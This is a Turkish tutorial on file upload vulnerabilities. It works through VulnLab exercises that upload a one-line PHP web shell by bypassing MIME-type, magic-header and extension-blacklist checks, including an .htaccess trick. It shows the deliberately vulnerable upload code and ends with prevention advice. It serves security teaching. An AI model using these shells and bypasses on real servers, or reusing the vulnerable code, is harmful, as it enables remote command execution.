File Upload Zafiyeti Nedir?

File upload zafiyeti, web uygulamalarında kullanıcıların dosya yüklemesine izin veren mekanizmalarda ortaya çıkabilen ve ciddi güvenlik tehditlerine yol açabilen açıkları ifade eder. Bu zafiyetler, saldırganların kötü niyetli dosyalar yükleyerek sistemin güvenliğini tehlikeye atmalarına neden olabilir. Bu makalemizde, file upload zafiyetlerinin türleri, neden olduğu tehlikeler ve bu zafiyetlerden korunma yöntemleri detaylı bir şekilde ele alınacaktır.

File Upload Zafiyetlerinin Nedenleri

1. Dosya Türü Kontrollerinin Yetersiz Olması

Web uygulamaları, genellikle dosya türünü dosya uzantısına göre kontrol eder. Ancak bu yöntem yanıltıcı olabilir çünkü saldırganlar, zararlı dosyaları kabul edilen dosya türleriyle aynı uzantıya sahipmiş gibi gösterebilirler. Örneğin, bir PHP betiği içeren bir .jpg dosyası yükleyerek sunucuya zararlı kod bulaştırabilirler.

2. Dosya Adı Kontrollerinin Yetersiz Olması

Dosya isimlerinde özel karakterler veya uzantılar kullanarak zararlı kodları gizlemek mümkündür. Bu, komut enjeksiyonu veya dosya içeriklerinin yorumlanması gibi saldırılara neden olabilir. Örneğin, dosya adında "shell.php.jpg" gibi bir isim kullanarak PHP betiği içeren bir dosya yüklenebilir.

3. Yetersiz Dosya Boyutu Kontrolleri

Çok büyük dosyalar yükleyerek sunucunun kaynaklarını tüketme ve hizmet dışı bırakma (DoS) saldırılarına neden olmak mümkündür. Bu tür saldırılar, sunucunun performansını düşürebilir ve diğer kullanıcıların hizmetlere erişimini engelleyebilir.

4. Depolama Alanına Doğrudan Erişim

Yüklenen dosyalar doğrudan erişilebilir bir alana kaydediliyorsa, saldırganlar bu dosyaları çalıştırabilir ve sistemde yetkisiz işlemler yapabilirler. Bu durum, saldırganların arka kapılar (backdoor) oluşturmasına ve sistem üzerinde tam kontrol sağlamasına yol açabilir.

5. Zararlı Kod İçeren Dosyalar

Yüklenen dosyalar kötü amaçlı yazılımlar, virüsler veya arka kapılar içerebilir. Bu dosyalar, sisteme bulaşarak veri hırsızlığı, yetkisiz erişim veya diğer zararlı faaliyetler gerçekleştirebilir.

File Upload Zafiyetlerinin Neden Olduğu Tehlikeler

File upload zafiyetleri çeşitli güvenlik tehditlerine yol açabilir:

  • Yetkisiz Erişim: Kötü niyetli dosyalar yüklenerek sunucuda yetkisiz işlemler yapılabilir.

  • Veri Hırsızlığı: Saldırganlar, yükledikleri dosyalar aracılığıyla veri tabanına veya diğer kritik sistem bileşenlerine erişim sağlayabilirler.

  • Sistem Kontrolünün Ele Geçirilmesi: Arka kapılar oluşturularak sistem üzerinde tam kontrol sağlanabilir.

  • Servis Dışı Bırakma (DoS) Saldırıları: Aşırı büyük dosyalar yüklenerek sunucunun performansı düşürülebilir ve hizmetler aksatılabilir.

File Upload Zafiyeti ile Shell Yükleme

File upload zafiyeti ile sistemde kod yürütebileceğimiz shell dosyaları yüklenebilir. Fakat öncelikle web sitesinin hangi dil ile yazıldığını öğrenmemiz gerek. Bunun için tarayıcınıza Wappalyzer uzantısını kurabilirsiniz.

Şimdi shell yükleme işlemlerini Yavuzlar takımının geliştirdiği VulnLab projesinde deneyelim.

VulnLab File Upload Örnekleri

1-Unrestricted

Bu örnekte bizi bir dosya yükleme sayfası karşılıyor. İlk olarak Wappalyzer ile sitenin hangi dilde yazıldığını öğrenelim.

Wappalyzer sitenin programlama dilinin PHP olduğunu bize gösteriyor.

İlk olarak siteye bir shell.php yüklemeye çalışalım.

shell.php
<?php system($_GET['cmd']); ?>   // Basit Bir Shell Kodu

Bu örnekte hiçbir kısıtlama olmadan shell dosyasının yüklendiğini görüyoruz. Daha sonrasında yüklediğimiz dosyaya gidip cmd parametresi ile sistemde istediğimiz kodu çalıştırabiliyoruz. Ben /etc/passwd dosyasının içeriğini okumayı tercih ettim.

Zafiyetli Kaynak Kod

Kaynak kodda da göründüğü gibi herhangi bir güvenlik önlemi alınmadan dosyanın direk yüklendiğini görüyoruz.

    if( isset($_POST['submit']) ){

        $tmpName = $_FILES['input_image']['tmp_name'];
        $fileName = $_FILES['input_image']['name'];

        if(!empty($fileName)){
            if(!file_exists("uploads")){
                mkdir("uploads");
            }
    
            $uploadPath = "uploads/".$fileName;
    
            if( @move_uploaded_file($tmpName,$uploadPath) ){
                $status = "success";
                
            }else{
                $status = "unsuccess";
            }
        }else{
            $status = "empty";
        }
    }

2-MIME Type

Bu örnekte php dosya shell.php dosyasını yüklemeye çalıştığımızda izin verilmeyen dosya türü olduğunu bize bildiriyor. Buraya shell yükleyebilmemiz için dosyanın MIME Type' ını değiştirmemiz gerek. Bunun için Burp Suite ile dosya yükleme sırasında araya girip Content-Type değerini image/jpeg yapmamız gerekiyor.

Ve shell.php dosyasının yüklendiğini görüyoruz. Yukarıdaki örnekteki gibi yüklediğimiz dosyaya gidip komut çalıştırabiliriz.

Zafiyetli Kaynak Kod

Kaynak kodda da göründüğü dosyanın gibi image/gif, image/jpeg, image/png dosya tiplerinin desteklendiğini görüyoruz. Fakat başka bir koruma yöntemi olmadığı için Burp Suite gibi bir araçla araya girip Content-Type değerini değiştirerek dosyayı yükleyebiliyoruz.

if( isset($_POST['submit']) ){

    $tmpName = $_FILES['input_image']['tmp_name'];
    $fileName = $_FILES['input_image']['name'];

    if(!empty($fileName)){
        $fileType = $_FILES['input_image']['type']; //MIME Type
    
        $extensions = array("php");

        if(!file_exists("uploads")){
            mkdir("uploads");
        }
        
        $uploadPath = "uploads/".$fileName;

        if( $fileType == "image/gif" || $fileType == "image/jpeg" || $fileType == "image/png"){

            if( @move_uploaded_file($tmpName,$uploadPath) ){
                $status = "success";
                
            }else{
                $status = "unsuccess";
            }

        }else{
            $status = "blocked";
        }
    }else{
        $status = "empty";
    }


}

3-Magic Header

Bu örnekte ise yine aynı şekilde php uzantılı dosyalar yüklenmiyor. Fakat bu sefer mime type değiştirerek bypass edemiyoruz.

Bu sefer başka bir yöntem olan Magic Header değiştirme yöntemini kullanacağız.

Yine aynı şekilde burp suite ile araya girip php kodunun üzerine GIF uzantısının sihirli başlığı olan GIF89a yazısını ekliyoruz.

Ve shell.php dosyasının yüklendiğini görüyoruz.

Zafiyetli Kaynak Kod

Bu kaynak kodda da mime_content_type() fonksiyonu ile yüklenecek dosyanın mime type kontrolü yapılıyor. Burp suite ile araya girip mime type değerini değiştirmek işe yaramıyor. Fakat Magic Header kontrolü yapılmadığı için dosya yüklenebiliyor.

    if( isset($_POST['submit']) ){

        $tmpName = $_FILES['input_image']['tmp_name'];
        $fileName = $_FILES['input_image']['name'];

        if(!empty($fileName)){

            $extensions = array("php");
        
            if(!file_exists("uploads")){
                mkdir("uploads");
            }
    
            $uploadPath = "uploads/".$fileName;
            
            if( mime_content_type($tmpName) == "image/gif" || mime_content_type($tmpName) == "image/png" || mime_content_type($tmpName) == "image/jpeg" ){
    
                if( @move_uploaded_file($tmpName,$uploadPath) ){
                    $status = "success";
                    
                }else{
                    $status = "unsuccess";
                }
    
            }else{
                $status = "blocked";
            }

        }else{
            $status = "empty";
        }

    }

4-Blacklist - 1

Bu örnekte ise yine aynı şekilde php uzantılı dosyalar yüklenmiyor. Fakat bu sefer mime type ve magic header yöntemleri de işlemiyor. Büyük ihtimal php uzantısının kara listeye alındığını düşünüyoruz.

Bu kara listeyi atlatmak için .php uzantısını .phtml olarak değiştirebiliriz. .html uzantısı, .php uzantısı ile aynı şekilde çalışır, ancak dosyanın içeriğinin hem PHP hem de HTML kodu içerebileceğini belirtir.

Göründüğü gibi shell.phtml dosyası yüklendi. Bu şekilde shell yüklenebilir ve kod çalıştırılabilir.

Zafiyetli Kaynak Kod

Kaynak kodda da göründüğü gibi php uzantısı 9. satırda dizin içerisini eklenmiş. 17. satıda dosya uzantısının yasaklı uzantılar listesinde olup olmadığını ve dosya adının ".htaccess" olup olmadığını kontrol ediyor. Bu kara liste .phtml gibi farklı uzantılı dosyalar ile atlatılabiliyor. Dosya adının .htaccess olması olayını bir sonraki örnekte anlatıyor olacağım.

if( isset($_POST['submit']) ){

    $tmpName = $_FILES['input_image']['tmp_name'];
    $fileName = $_FILES['input_image']['name'];
    
    if(!empty($fileName)){

        $fileExt = pathinfo($fileName)['extension'];
        $extensions = array("php");

        if(!file_exists("uploads")){
            mkdir("uploads");
        }

        $uploadPath = "uploads/".$fileName;

        if( !in_array($fileExt,$extensions) && trim($fileName) != ".htaccess"){

            if( @move_uploaded_file($tmpName,$uploadPath) ){
                $status = "success";
                
            }else{
                $status = "unsuccess";
            }

        }else{
            $status = "blocked";
        }

    }else{
        $status = "empty";
    }
}

Blacklist - 2

Bu örnekte yukarıdaki atlatma yöntemlerinin hiçbiri işe yaramıyor. Büyük ihtimal birçok uzantının kara listeye alındığını düşünüyoruz.

Peki kendi .php uzantımızı oluşturabilir miyiz? Ve sistemin kendi oluşturduğumuz .php uzantısını yorumlamasını sağlayabilir miyiz? Evet. Bunun için .htaccess adında bir dosyayı sisteme yüklememiz gerek.

.htaccess Dosyası Nedir?

.htaccess (Hypertext Access) dosyası, Apache HTTP Sunucusu tarafından kullanılan ve web sunucusunun belirli dizinlerindeki ayarları yapılandırmak için kullanılan yapılandırma dosyasıdır. Bu dosya, web sunucusuna belirli dizinler için çeşitli ayarları ve direktifleri uygular.

Bunun için web sitenin Apache HTTP Sunucusu kullanması gerekiyor. Wappalyzer uzantısından web sunucusunun Apache olduğunu öğrenebiliyoruz.

İlk olarak .htaccess dosyasının içeriğini düzenlememiz gerek.

.htaccess
AddType application/x-httpd-php .php16

Örneğin, AddType application/x-httpd-php .php16 ifadesi, .php16 uzantısına sahip dosyaların PHP dosyaları olarak işlenmesini sağlar. Bu, sunucunun .php16 dosyalarını PHP kodu olarak yorumlayıp çalıştırması gerektiği anlamına gelir.

.htaccess dosyasını oluşturduktan sonra sisteme yüklememiz gerek.

Bu şekilde .htaccess dosyasını yüklediğimiz zaman artık .php16 dosyalarını sistemde yorumlanabilir hale getiriyoruz.

Ve artık yüklediğimiz shell.php16 dosyası ile sistemde kod yürütebiliriz.

Bu tarz basit çaplı bir shell dosyası kullanmak istemiyorsanız p0wny-shell kullanabilirsiniz. Bu şekilde daha anlaşılır ve kullanılması kolay bir shell dosyası yükleyebilirsiniz.

File Upload Zafiyetini Önleme Yöntemleri

  • Dosya Türü ve Boyut Kontrolleri:

    • Uygulamanın dosya yükleme işlevselliği, yalnızca belirli dosya türlerini (örneğin, resim dosyaları, belge dosyaları) kabul etmelidir. Geçersiz dosya türlerinin yüklenmesini önlemek için dosya uzantılarını ve MIME türlerini doğrulamak önemlidir.

    • Ayrıca, dosya boyutu sınırlamaları uygulanmalıdır. Aşırı büyük dosyaların yüklenmesi, sunucu kaynaklarının aşırı yüklenmesine ve hizmet kesintilerine neden olabilir.

  • Dosya Doğrulama ve Karantina:

    • Yüklenen dosyaların içeriği otomatik olarak taranmalı ve güvenli olup olmadığı doğrulanmalıdır. Bu, antivirüs yazılımı veya özel dosya tarayıcıları kullanılarak yapılabilir.

    • Şüpheli dosyalar karantinaya alınmalı ve güvenlik ekibi tarafından incelenmelidir. Bu dosyaların potansiyel olarak zararlı olduğu belirlenirse, işlem durdurulmalı ve kullanıcıya bildirim gönderilmelidir.

  • Yetkilendirme ve Kimlik Doğrulama:

    • Dosya yükleme işlevselliğine erişim, yalnızca yetkilendirilmiş kullanıcılara sağlanmalıdır. Kullanıcıların kimlik doğrulaması yapılmalı ve gerektiğinde çift faktörlü kimlik doğrulama gibi ek güvenlik önlemleri uygulanmalıdır.

    • Kullanıcı rolleri ve izinleri dikkatlice yönetilmelidir. Kullanıcıların yalnızca ihtiyaç duydukları minimum erişim düzeyine sahip olmaları sağlanmalıdır.

  • Dosya Adı Değiştirme ve Güvenli Depolama:

    • Dosya adları, öngörülemeyen davranışları önlemek için kontrol edilmeli ve gerektiğinde yeniden adlandırılmalıdır. Örneğin, otomatik olarak üretilen dosya adları, saldırganların dosya yüklemelerini tahmin etmesini zorlaştırabilir.

    • Yüklenen dosyalar, güvenli bir depolama alanında saklanmalıdır. Bu depolama alanı, doğrudan web kök dizinine erişilemeyen ve yetkisiz erişime karşı korunan bir klasör olmalıdır.

  • Güvenlik Güncellemeleri ve Testler:

    • Uygulamanın dosya yükleme işlevselliği düzenli olarak güvenlik açıkları ve zafiyetler açısından taranmalıdır. Güvenlik açıkları tespit edildiğinde, hızlı bir şekilde düzeltilmelidir.

    • Uygulama geliştirme sürecinde, güvenlik testleri ve denetimleri düzenli olarak yapılmalıdır. Bu testler, dosya yükleme işlevselliğinin güvenliğini ve bütünlüğünü doğrulamaya yardımcı olur.

Last updated